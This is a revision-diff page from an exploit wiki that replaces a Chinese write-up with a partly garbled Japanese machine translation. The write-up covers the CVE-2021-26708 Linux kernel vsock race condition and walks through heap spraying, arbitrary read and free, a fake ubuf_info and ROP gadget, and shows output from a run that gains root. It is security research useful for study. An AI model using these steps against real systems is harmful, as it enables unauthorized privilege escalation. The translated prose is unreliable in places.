Difference between revisions of "CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/ja"

From PwnWiki
(Created page with "==脆弱性==")
 
(Created page with "しかし、msg_msgを使って内部監査データを読むにはどうすればいいのでしょうか? msgrcv()のシステムコールファイルを読んでみると...")
 
(One intermediate revision by the same user not shown)
Line 4: Line 4:
 
これらの脆弱性は、<code>net/vmw_vsock/af_vsock.c</code>の誤ロックによる条件闘争が原因です。 これらの条件闘争は、VSOCKマルチトランスファーのサポートを追加した2019年11月のコミットで暗黙のうちに導入され、Linuxカーネルバージョン5.5-rc1にマージされました。
 
これらの脆弱性は、<code>net/vmw_vsock/af_vsock.c</code>の誤ロックによる条件闘争が原因です。 これらの条件闘争は、VSOCKマルチトランスファーのサポートを追加した2019年11月のコミットで暗黙のうちに導入され、Linuxカーネルバージョン5.5-rc1にマージされました。
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
<code>CONFIG_VSOCKETS</code><code>CONFIG_VIRTIO_VSOCKETS</code>は、すべての主要なGNU/Linuxディストリビューションのカーネルモジュールとして提供されています。 これらの脆弱なモジュールは、AF_VSOCKドメインのソケットを作成した際に自動的にロードされます。
<code>CONFIG_VSOCKETS</code><code>CONFIG_VIRTIO_VSOCKETS</code>在所有主要的GNU/Linux發行版中都作為內核模塊提供。當你為AF_VSOCK域創建一個套接字時,這些易受攻擊的模塊會自動加載。
 
</div>
 
 
<pre>
 
<pre>
 
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
 
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
<code>AF_VSOCK</code>のソケット作成は、非特権ユーザが利用でき、ユーザ名空間を必要としません。
<code>AF_VSOCK</code>套接字的創建對非特權用戶來說是可用的,並不需要用戶名空間。
 
</div>
 
  
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
メモリの破損
==內存破壞==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
以下は、CVE-2021-26708の悪用についての詳細です。この悪用は、<code>vsock_stream_etssockopt()</code>の条件付き競争を利用しており、回復には2つのスレッドが必要で、最初のスレッドが<code>setsockopt()</code>を呼び出します。
下面詳細介紹CVE-2021-26708的利用,利用了<code>vsock_stream_etssockopt()</code>中的條件競爭,復現需要兩個線程,第一個線程調用<code>setsockopt()</code>
 
</div>
 
 
<pre>
 
<pre>
 
   setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
 
   setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
Line 30: Line 22:
  
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
2番目のスレッドは、<code>vsock_stream_etssockopt()</code>がソケットロックを取得しようとしたときに、仮想ソケットのトランスポートを変更しますが、これは仮想ソケットを再接続することで実現します。
第二個線程在<code>vsock_stream_etssockopt()</code>試圖獲取套接字鎖時改變虛擬套接字傳輸,通過重新連接虛擬套接字實現:
 
</div>
 
 
<pre>
 
<pre>
 
struct sockaddr_vm addr = {
 
struct sockaddr_vm addr = {
Line 46: Line 36:
  
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
仮想ソケットの<code>connect()</code>を処理するために、カーネルは<code>vsock_assign_transport()</code>を呼び出した<code>vsock_stream_connect()</code>を実行します。 この関数には以下のコードが含まれています。
為了處理虛擬套接字的<code>connect()</code>,內核執行調用<code>vsock_assign_transport()</code><code>vsock_stream_connect()</code>。這個函數包含如下代碼:
 
</div>
 
 
<pre>
 
<pre>
 
     if (vsk->transport) {
 
     if (vsk->transport) {
Line 65: Line 53:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
<code>vsock_stream_connect()</code>にはソケットロックがあり、並列スレッドの<code>vsock_stream_setsockopt()</code>もソケットロックを取得しようとするため、条件付きの競合となります。 その結果、異なる<code>svm_cid</code>で2回目の<code>connect()</code>を実行した際に、<code>vsock_deassign_transport()</code>関数が呼び出されます。 この関数は、<code>virtio_transport_destruct()</code>を実行し、<code>vsock_sock.trans</code>を解放し、<code>vsk->transport</code>をNULLに設定する。 stream_connect()</code>がソケットのロックを解除することで、<code>vsock_stream_setsockopt()</code>の実行を継続することができます。 <code>vsock_update_buffer_size()</code>を呼び出し、続いて<code>transport->notify_buffer_size()</code>を呼び出します。 ここでtransportは、<code>vsk->transport</code>に一致しないローカル変数からの廃止された値を含んでいます(原因はNULLに設定されています)。
<code>vsock_stream_connect()</code>包含套接字鎖,並行線程中的<code>vsock_stream_setsockopt()</code>也嘗試獲取它,構成條件競爭。因此,當用不同的<code>svm_cid</code>進行第二次<code>connect()</code>時,<code>vsock_deassign_transport()</code>函數被調用。該函數執行<code>virtio_transport_destruct()</code>,釋放<code>vsock_sock.trans</code><code>vsk->transport</code>被設置為NULL。當<code>vsock_stream_connect()</code>釋放套接字鎖時,<code>vsock_stream_setsockopt()</code>可以繼續執行。它調用<code>vsock_update_buffer_size()</code>,隨後調用<code>transport->notify_buffer_size()</code>。這裡transport包含一個來自本地變量的過時的值,與<code>vsk->transport</code>不匹配(本因被設為NULL)。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
カーネルが<code>virtio_transport_notify_buffer_size()</code>を実行すると、メモリが破壊されます。
內核執行<code>virtio_transport_notify_buffer_size()</code>,出現內存破壞:
 
</div>
 
 
<pre>
 
<pre>
 
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
 
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
Line 86: Line 70:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ここで,vvsはカーネルメモリへのポインタであり,<code>virtio_transport_destruct()</code>で解放されている。<code>struct virtio_vsock_sock</code> は 64 バイトのサイズで、kmalloc-64 ブロックキャッシュに配置されています。<code>VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL</code> <code>VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL</code> buf_alloc フィールドタイプは u32 で、オフセット 40 にある。valの値は攻撃者が制御し、その最下位4バイトが解放されたメモリに書き込まれます。
這裡,vvs是指向內核內存的指針,它已經在<code>virtio_transport_destruct()</code>中被釋放。 <code>struct virtio_vsock_sock</code>的大小為64字節,位於kmalloc-64塊緩存中。 buf_alloc字段類型為u32,位於偏移量40。 <code>VIRTIO_VSOCK_MAX_BUF_SIZE是0xFFFFFFFFUL</code>。 *val的值由攻擊者控制,它的四個最不重要的字節被寫入釋放的內存中。
 
</div>
 
  
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ファジーテスト
==模糊測試==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
syzkaller fuzzerにはこのクラッシュを再現する方法がないので、自分で調べてみることにしました。 しかし、なぜfuzzerは失敗するのか? <code>vsock_update_buffer_size()</code>を見てみると、次のようなことがわかりました。
syzkaller fuzzer沒有辦法重現這個崩潰,於是我決定自行研究。但為什麼fuzzer會失敗呢?觀察<code>vsock_update_buffer_size()</code>有所發現:
 
</div>
 
 
<pre>
 
<pre>
 
  if (val != vsk->buffer_size &&
 
  if (val != vsk->buffer_size &&
Line 107: Line 85:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
<code>notify_buffer_size()</code>はvalが現在のbuffer_sizeと異なる場合にのみ呼び出され、<code>setsockopt()</code><code>SO_VM_SOCKETS_BUFFER_SIZE</code>を実行します。 code>の場合、sizeパラメータは呼び出されるたびに異なるはずです。 そこで、コードを作ってみました。
只有當val與當前的buffer_size不同時,才會調用<code>notify_buffer_size()</code>,也就是說<code>setsockopt()</code>執行<code>SO_VM_SOCKETS_BUFFER_SIZE</code>時,每次調用的size參數都應該不同。於是我構建了相關代碼:
 
</div>
 
 
<pre>
 
<pre>
 
/*
 
/*
Line 270: Line 246:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ここでのサイズの値は、<code>clock_gettime()</code>が返すナノ秒の数から取得されるため、毎回異なる値になる可能性があります。 オリジナルの syzkaller では、syscall パラメータの値は syzkaller がファジング入力を生成する際に決定され、実行時には変更されないため、この処理は行われません。
這裡的size值取自<code>clock_gettime()</code>返回的納秒數,每次都可能不同。原始的syzkaller不會這麼處理,因為在syzkaller生成 fuzzing輸入時,syscall參數的值被確定,執行時不會改變。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
四字熟語の威力
==四字節的力量==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ここでは、研究対象としてFedora 33 Serverを選び、カーネルバージョン5.10.11-200.fc33.x86_64で、SMEPとSMAPを回避することにしました。
這裡我選擇Fedora 33 Server作為研究目標,內核版本為5.10.11-200.fc33.x86_64,並決心繞過SMEP和SMAP。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
その第一歩として、私は安定したヒープイジェクションに取り組み始めました。これは、ユーザースペースを実行する活動を利用して、カーネルが解放されたvirtio_vsock_sockの場所に別の64バイトのオブジェクトを割り当てるようにするものです。 数回の実験の後、リリースされた virtio_vsock_sock が上書きされていることが確認され、ヒープインジェクションが実行可能であることがわかりました。 最終的に msgsnd() システムコールを見つけました。これはカーネル空間で msg_msg 構造体を作成します。
第一步,我開始研究穩定的堆噴射,該漏洞利用執行用戶空間的活動,使內核在釋放的virtio_vsock_sock的位置分配另一個64字節的對象。經過幾次實驗性嘗試後,確認釋放的virtio_vsock_sock被覆蓋,說明堆噴射是可行的。最終我找到了msgsnd() syscall。它在內核空間中創建了struct msg_msg,見pahole輸出:
 
</div>
 
 
<pre>
 
<pre>
 
struct msg_msg {
 
struct msg_msg {
Line 298: Line 266:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
表はメッセージのヘッダー、裏はメッセージのデータです。 ユーザ空間の struct msgbuf に 16 バイトの mtext がある場合、対応する msg_msg が kmalloc-64 ブロック・キャッシュに作成されます。 4 バイトの write-after-free により、オフセット 40 の void *security ポインタが破壊されます。msg_msg.securityフィールドは、msg_msgを受信したときに、lsm_msg_alloc()によって割り当てられ、security_msg_msg_free()によって解放されたカーネルデータを指します。 このように、セキュリティ・ポインターの前半部分を壊すことで、任意の自由を得ることができます。
前面是消息頭,後面是消息數據。如果用戶空間中的struct msgbuf有一個16字節的mtext,則會在kmalloc-64塊緩存中創建相應的msg_msg。 4字節的write-after-free會破壞偏移量40的void *security指針。 msg_msg.security字段指向由lsm_msg_msg_alloc()分配的內核數據,當收到 msg_msg時,就會被security_msg_msg_free()釋放。因此,破壞security指針的前半部分,就能獲得 arbitrary free。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
社内コア情報の漏洩
==內核信息洩露==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
Used here [https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6% BC%8F%E6%B4%9E CVE-2019-18683]で同じ仕掛けをしています。 バーチャルソケットの2回目のconnect()では、<code>vsock_deassign_transport()</code>を呼び出し、<code>vsk->transport</code>をNULLに設定することで、<code>vsock_stream_setsockopt()<? /code>call <code>virtio_transport_send_pkt_info()</code>の後に、カーネルアラームでメモリクラッシュが発生したことがあります。
這裡使用了[https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683]相同的技巧。虛擬套接字的第二個connect()調用<code>vsock_deassign_transport()</code>,將<code>vsk->transport</code>設置為NULL,使得<code>vsock_stream_setsockopt()</code>在內存崩潰後調用<code>virtio_transport_send_pkt_info()</code>,出現內核告警:
 
</div>
 
 
<pre>
 
<pre>
 
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
 
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
Line 331: Line 293:
 
...
 
...
 
</pre>
 
</pre>
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
gdbによるデバッグで、RCXレジスタには解放されたvirtio_vsock_sockのカーネルアドレスが、RBXレジスタにはvsock_sockのカーネルアドレスが入っていることがわかりました。
通過gdb調試,發現RCX寄存器包含了釋放的virtio_vsock_sock的內核地址,RBX寄存器包含了vsock_sock的內核地址。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
どこでも読める
==實現任意讀==
 
</div>
 
  
 
<div lang="chinese" dir="ltr" class="mw-content-ltr">
 
<div lang="chinese" dir="ltr" class="mw-content-ltr">
Line 343: Line 301:
 
</div>
 
</div>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
リークされたカーネルアドレスからのオブジェクトの解放
從洩露的內核地址釋放一個對象
+
ヒープスプレーを行い、制御されたデータでオブジェクトを上書きする
執行堆噴,用受控數據覆蓋該對象
+
破損したオブジェクトを特権昇格に利用する
使用損壞的對象進行權限升級
+
System V メッセージのカーネルの実装では、DATALEN_MSG の最大値は、PAGE_SIZE から sizeof(struct msg_msg)を引いた値に制限されています。) より大きなメッセージを送信した場合、残りのメッセージはメッセージセグメントのリストに保存されます。msg_msgは、最初のセグメントを指すstruct msg_msgseg *nextと、サイズを格納する size_t m_tsを含んでいます。 上書き操作を行うと、制御された値が msg_msg.m_ts と msg_msg.next に配置されます。
內核實現的System V消息有限制最大值DATALEN_MSG,即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息,剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段,size_t m_ts用於存儲大小。當進行覆蓋操作時,就可以把受控的值放在msg_msg.m_ts和msg_msg.next中:
 
</div>
 
  
 
[[File:T01a51dfe7a996e854c.png | 600px ]]
 
[[File:T01a51dfe7a996e854c.png | 600px ]]
Line 377: Line 333:
 
     }
 
     }
 
</pre>
 
</pre>
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
しかし、msg_msgを使って内部監査データを読むにはどうすればいいのでしょうか? msgrcv()のシステムコールファイルを読んでみると、msgrcv()とMSGフラグを使った良い解決策が見つかりました:。
但是如何使用msg_msg讀取內核數據呢?通過閱讀msgrcv()系統調用文檔,我找到了好解決方案,使用msgrcv()和MSG標誌:
 
</div>
 
 
<pre>
 
<pre>
 
MSG_COPY (since Linux 3.8)
 
MSG_COPY (since Linux 3.8)
Line 385: Line 339:
 
         specified by msgtyp (messages are considered to be numbered starting at 0).
 
         specified by msgtyp (messages are considered to be numbered starting at 0).
 
</pre>
 
</pre>
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
このフラグは、メッセージデータをメッセージキューから削除することなく、カーネルがユーザースペースにコピーすることを意味します。 カーネルにCONFIG_CHECKPOINT_RESTORE=yが設定されている場合、MSGは利用可能であり、Fedora Serverでも適用可能です。
這個標誌使內核將消息數據複製到用戶空間,不從消息隊列中刪除。如果內核有CONFIG_CHECKPOINT_RESTORE=y,則MSG是可用的,在Fedora Server適用。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
任意の読み取りのためのステップ
===任意讀的步驟===
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
準備
準備工作:
+
sched_getaffinity()およびCPU_COUNT()を使用して、使用可能なCPUの数を計算します(このエクスプロイトでは、少なくとも2つのCPUが必要です)。
使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量(該漏洞至少需要兩個);
+
パージングのために/dev/kmsgを開く。
打開/dev/kmsg進行解析;
+
mmap()は、userfaultfd()をspray_dataメモリ領域の最後の部分として設定します。
mmap()將spray_data內存區域配置userfaultfd()作為最後一部分;
+
userfaultfd()イベントを処理するために、別のpthreadを起動します。
啟動一個單獨的pthread來處理userfaultfd()事件;
+
msg_msgでsetxattr()とuserfaultfd()のヒープインジェクションを行うために127個のスレッドを立ち上げ、thread_barrierに掛けます。
啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射,並將它們掛在thread_barrier上;
+
オリジナルのmsg_msgのカーネルアドレスを取得します。
獲取原始msg_msg的內核地址:
+
仮想ソケットの条件付き競争
在虛擬套接字上進行條件競爭;
+
2回目のconnect()の後、ビジー・ループで35マイクロ秒待つ。
在第二個connect()後,在忙循環中等待35微秒;
+
msgsnd() を呼び出して別のメッセージキューを作成します。メモリ破壊の後、msg_msg ペアは virtio_vsock_sock の場所に置かれます。
調用msgsnd()來建立一個單獨的消息隊列;在內存破壞後,msg_msg對像被放置在virtio_vsock_sock位置;
+
カーネルログを解析し、カーネル警告(RCXレジスタ)からmsg_msgのカーネルアドレスを保存する。
解析內核日誌,從內核警告(RCX寄存器)中保存msg_msg的內核地址;
+
また,RBXレジスタからvsock_sockのカーネルアドレスが格納される。
同時,從RBX寄存器中保存vsock_sock的內核地址;
+
破壊された msg_msg を使って、元の msg_msg の任意の解放を行います。
使用損壞的 msg_msg對原始msg_msg執行任意釋放:
+
メモリ破壊を実装するために、SO_VM_SOCKETS_BUFFER_SIZEとして、オリジナルのmsg_msgアドレスの4バイトを使用します。
使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE,用於實現內存破壞;
+
仮想ソケットの条件付き競争
在虛擬套接字上進行條件競爭;
+
msgsnd()は2回目のconnect()の直後に呼び出され、msg_msgは破壊を実装するためにvirtio_vsock_sockの場所に置かれます。
在第二個connect()之後馬上調用msgsnd();msg_msg被放置在virtio_vsock_sock的位置,實現破壞;
+
破棄された msg_msg のセキュリティ・ポインタには、(ステップ 2 からの)元の msg_msg のアドレスが格納されます。
現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2);
 
</div>
 
  
 
[[File:T01a2a2d47c9494c4a5.png | 600px ]]
 
[[File:T01a2a2d47c9494c4a5.png | 600px ]]
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
msgsnd()の処理中にsetsockopt()スレッドのmsg_msg.securityメモリの破損が発生し、さらにSELinuxの特権チェックが失敗する場合。
如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞,進而SELinux權限檢查失敗;
+
この場合、msgsnd()-1を返し、破損したmsg_msgは破棄されます。msg_msg.securityを解放すると、元のmsg_msgが解放されます。
在這種情況下,msgsnd()返回-1,損壞的msg_msg被銷毀;釋放msg_msg.security可以釋放原始msg_msg;
+
オリジナルのmsg_msgを制御可能なペイロードで上書きします。
用一個可控的payload 覆蓋原始msg_msg:
+
msgsnd()が失敗した後、この脆弱性はpthread_barrier_wait()を呼び出し、ヒープイジェクションに使用される127のpthreadを呼び出します。
msgsnd()失敗後,漏洞就會調用pthread_barrier_wait(),調用127個用於堆噴射的pthreads;
+
これらのpthreadは、setxattr()のペイロードを実行します。
這些pthreads執行setxattr()的payload;
+
オリジナルの msg_msg は制御可能なデータで上書きされ、msg_msg.next は vsock_sock オブジェクトが格納されているアドレスを指します。
原始msg_msg被可控的數據覆蓋,msg_msg.next指針存儲vsock_sock對象的地址;
 
</div>
 
  
 
[[File:T0140baae964febb059.png | 600px ]]
 
[[File:T0140baae964febb059.png | 600px ]]
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
上書きされたmsg_msgを保持するメッセージキューからメッセージを受信して、vsock_sockカーネルオブジェクトの内容をユーザ空間に読み出す。
通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息,將vsock_sock內核對象的內容讀到用戶空間:
 
</div>
 
 
<pre>
 
<pre>
 
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
 
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
Line 434: Line 378:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ターゲットを見つける
==尋找攻擊目標==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
私が見つけたポイントを紹介します。
以下是我找到的點:
+
1. PINGv6やsock_inode_cacheのような専用ブロックキャッシュは、オブジェクトへの多くのポインタを持っています。
1.專用的塊緩存,如PINGv6和sock_inode_cache有很多指向對象的指針
+
2. struct mem_cgroup *sk_memcg pointer at vsock_sock.sk offset 664. mem_cgroup構造体は、kmalloc-4kブロックキャッシュに割り当てられます。
2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。
+
3. vsock_sock.skのオフセット840にあるconst struct cred *ownerポインタは、特権昇格のためにオーバーライドできるクレデンシャルのアドレスを保持します。
3.const struct cred *owner指針在vsock_sock.sk偏移量840處,存儲了可以覆蓋進行權限升級的憑證的地址。
+
4. void (*sk_write_space)(struct sock *)関数は、vsock_sock.skのオフセット688にあるsock_def_write_space()カーネル関数のアドレスに設定されます。 KASLRのオフセットを計算するために使用することができます。
4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處,被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
脆弱性がメモリからこれらのピンを抽出する方法は以下の通りです。
下面是該漏洞如何從內存中提取這些指針:
 
</div>
 
  
 
<pre>
 
<pre>
Line 484: Line 422:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
sk_buffにUse-after-freeを実装する
==在 sk_buff 上實現 Use-after-free==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
Linuxカーネルのネットワーク関連のバッファは、struct sk_buffで表されます。 このペアには、skb_shared_infoとdestructor_argがあり、ストリームハイジャックの制御に利用できます。 ネットワークデータとskb_shared_infoは、sk_buff.headが指す同じカーネルメモリブロックに配置されます。 したがって、ユーザースペースで2800バイトのネットワークパケットを作成すると、mem_cgroupのペアと同様に、skb_shared_infoがkmalloc-4kブロックキャッシュに割り当てられます。
Linux內核中與網絡相關的緩衝區用struct sk_buff表示,這個對像中有skb_shared_info與destructor_arg,可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此,在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中,mem_cgroup對像也是如此。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
以下の手順で構築しました。
我構建了以下步驟:
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)を使って、クライアントソケットと32個のサーバーソケットを作成する。
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ユーザースペースに2800バイトのバッファを用意し、0x42でmemset()する。
2.在用戶空間中準備一個2800字節的緩衝區,並用0x42對其memset()
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
3. sendto()を使用して、このバッファをクライアントソケットから、kmalloc-4kでsk_buffオブジェクトを作成するために使用した各サーバーソケットに送信する。 利用可能なCPUごとに`sched_setaffinity()を使用します。
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字,用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
4.vsock_sockに任意の読み取り手続きを行う
4.對vsock_sock執行任意讀取過程
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
sk_memcgに4096(kmalloc-4kの次の要素)を加えたsk_buffのカーネルアドレスを計算する。
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
6.この可能性のあるsk_buffのアドレスに任意の読み取りを行う。
6.對這個可能的sk_buff地址執行任意讀
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
7. ネットワークデータの位置に0x424242424242luが見つかった場合、実際のsk_buffを見つけ、ステップ8に進む。そうでない場合、可能性のあるsk_buffのアドレスに4096を加え、ステップ6に進む。
7.如果在網絡數據的位置找到0x42424242424242lu,則找到真正的sk_buff,進入步驟8。否則,在可能的sk_buff地址上加4096,轉到步驟6
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
8. sk_buff が 32 個の pthread の setxattr() userfaultfd() のヒープジェットを実行し、それを pthread_barrier にフックする。
8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射,並把它們掛在pthread_barrier上
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
9.sk_buffカーネルアドレスの恣意的な公開
9.對sk_buff內核地址進行任意釋放
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
10. pthread_barrier_wait() を呼び出し、32 の setxattr() を実行して skb_shared_info の heapspray pthreads を上書きする。
10.調用pthread_barrier_wait(),執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
11.サーバ・ソケットからネットワーク・メッセージを受信するには、recv()を使用します。
11.使用recv()接收服務器套接字的網絡消息。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
skb_shared_infoで任意に書き込み
==通過skb_shared_info 進行任意寫==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
以下は、オーバーライドされたsk_buffオブジェクトの有効なペイロードです。
以下是覆蓋sk_buff對象的有效payload:
 
</div>
 
  
 
<pre>
 
<pre>
Line 569: Line 475:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
skb_shared_infoは、排出されたデータのちょうどSKB_SHINFO_OFFSETの位置、すなわち3776バイト目に存在する。skb_shared_info.destructor_arg ポインタには、struct ubuf_info のアドレスが格納される。 攻撃されたsk_buffのカーネルアドレスがわかっているので、ネットワークバッファのMY_UINFO_OFFSETに偽のubuf_infoを作成することができます。有効なペイロードのレイアウトは以下のとおりです。
skb_shared_info駐留在噴射數據中,正好在偏移量SKB_SHINFO_OFFSET處,即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的,所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局:
 
</div>
 
  
 
[[File:T0185ccbf9f025c74da.png  | 600px]]
 
[[File:T0185ccbf9f025c74da.png  | 600px]]
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ここでは、destructor_argのコールバックを紹介します。
下面講講destructor_arg 回調:
 
</div>
 
 
<pre>
 
<pre>
 
  /*
 
  /*
Line 589: Line 491:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
vmlinuz-5.10.11-200.fc33.x86_64では、私のニーズを満たすガジェットが見つからないので、自分で調べて作ってみました。
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget,所以我自己進行了研究構造。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
コールバック関数のポインタにはROPガジェットのアドレスが格納され、RDIにはコールバック関数の第1引数であるubuf_info自身のアドレスが格納され、RDI + 8はubuf_info.descを指す。ガジェットはubuf_info.descをRDXに移動する。現在RDX には、有効なユーザーIDとグループIDから1バイトを除いたアドレスが含まれています。 このバイトは重要です。ガジェットがRSIからRDXが指すメモリにメッセージ1を書き込むと、有効なuidとgidは0で上書きされます。 権限がrootに昇格するまで同じプロセスを繰り返します。プロセス全体の出力ストリームは次のようになります。
callback函數指針存儲一個ROP gadget 地址,RDI存儲callback函數的第一個參數,也就是ubuf_info本身的地址,RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要:當gadget從 RSI向 RDX指向的內存中寫入消息1時,有效的 uid和 gid將被零覆蓋。重複同樣的過程,直到權限升級到root。整個過程輸出流如下:
 
</div>
 
 
<pre>
 
<pre>
 
[a13x@localhost ~]$ ./vsock_pwn
 
[a13x@localhost ~]$ ./vsock_pwn
Line 668: Line 566:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
ビデオ
==視頻==
 
</div>
 
 
<youtube>https://www.youtube.com/watch?v=EC8PFOYOUgU</youtube>
 
<youtube>https://www.youtube.com/watch?v=EC8PFOYOUgU</youtube>
  
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
参考
==參考==
 
</div>
 
 
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
 
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html

Latest revision as of 13:42, 5 May 2021

Other languages:
Chinese • ‎English • ‎español • ‎português • ‎svenska • ‎русский • ‎українська • ‎עברית • ‎العربية • ‎中文(繁體)‎ • ‎日本語

脆弱性

これらの脆弱性は、net/vmw_vsock/af_vsock.cの誤ロックによる条件闘争が原因です。 これらの条件闘争は、VSOCKマルチトランスファーのサポートを追加した2019年11月のコミットで暗黙のうちに導入され、Linuxカーネルバージョン5.5-rc1にマージされました。

CONFIG_VSOCKETSCONFIG_VIRTIO_VSOCKETSは、すべての主要なGNU/Linuxディストリビューションのカーネルモジュールとして提供されています。 これらの脆弱なモジュールは、AF_VSOCKドメインのソケットを作成した際に自動的にロードされます。

